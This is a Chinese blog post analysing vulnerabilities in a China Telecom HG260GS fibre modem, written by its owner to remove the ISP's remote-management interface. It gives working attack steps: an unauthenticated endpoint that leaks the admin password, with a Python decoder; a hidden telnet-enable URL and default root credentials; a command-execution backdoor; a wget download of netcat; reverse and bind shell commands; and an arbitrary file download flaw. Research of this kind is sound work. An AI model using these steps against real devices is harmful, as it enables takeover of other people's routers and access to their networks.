电信光猫HG260GS漏洞分析

0x00 可以做的事情

某天,正在愉快的上网冲浪的时候,突然断网了,发现光猫也自动重启了。明白过来是电信远程给我推更新了,非常不爽于是想了些办法把TR069也就是远程管理接口给删掉了。

本文介绍了拿到telecomadmin权限和root权限的方法,拿到光猫的超管之后,可以做的最基本的两件事:可以删除TR069接口,将路由模式从NAT改成桥接。拿到root权限之后,大家请自由发挥

0x01 超管密码获取

访问http://192[.]168.1.1/cgi-bin/baseinfoSet.cgi 可以拿到经过ASCII编码的超管密码,如下

“baseinfoSet_TELECOMPASSWORD”:”120&105&112&105&103&115&113&101……….”

但是其中的字母ASCII值需要减4但数字并不需要

可以使用简单的python脚本进行解码

print(''.join([chr(int(i)-4 if int(i)>57 else int(i)) for i in "120&105&112&.....".split('&')]))

0x02 开启Telnet功能

官方并未提供直接开启telnet或者ssh功能的接口,但是还是功夫不负有心人,被我找到了,直接访问如下链接即可开启telenet功能

http://192.168.1.1/cgi-bin/telnetenable.cgi?telnetenable=1

使用root/hg2x0 默认账号密码即可登录,如果该密码被修改,也不要急,后面有方法直接执行命令

0x03 分析源码,存在执行命令的后门

有了设备权限之后,直接打包所有cgi文件进行分析,其目录位于/rom/fhshell/web/web_gui/cgi-bin

里面一个比较有趣的文件叫telnet.cgi,查看源码发现其实就是一个执行命令的接口

构建POST包,传入参数 InputCmd=id 即可执行命令

但是命令执行是无直接的回显,通过查看结果文件可以确认

通过访问http://192.168.1.1/cgi-bin/submit.cgi可以看到执行过的命令和结果,分别对应如下文件

/var/WEB-GUI/telnet_input.log
/var/WEB-GUI/telnet_input.sh
/var/WEB-GUI/telnet_output.log

利用这点,可以获取一个reverse shell,因为没有回显的命令行操作太不方便了,但是因为该设备自带的Busybox并没有nc功能,甚至连/dev/tcp 都没有,所以必须上传nc才能使用,使用wget命令将nc下载到设备上

wget -O /tmp/nc http://192.168.1.2:1234/netcat

可以看到HTTP有日志产生,说明已经成功下载

接下来使用如下命令就可以获得回连shell

chmod 755 /tmp/nc
/tmp/nc 192.168.1.2 1234 -e /bin/sh
监听端执行:nc -lvv -p 1234

使用如下命令就可以获得监听shell,该种方法需要在POST执行的时候立即连接,否则nc会退出

/tmp/nc -lvv -p 4444 -e /bin/sh
连接端:nc 192.168.1.1 4444

0x04 任意文件下载漏洞

漏洞代码位于downloadfile.cgi,POST参数传入downpath=….

即可打包,然后访问http://192.168.1.1/download.tar即可下载

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注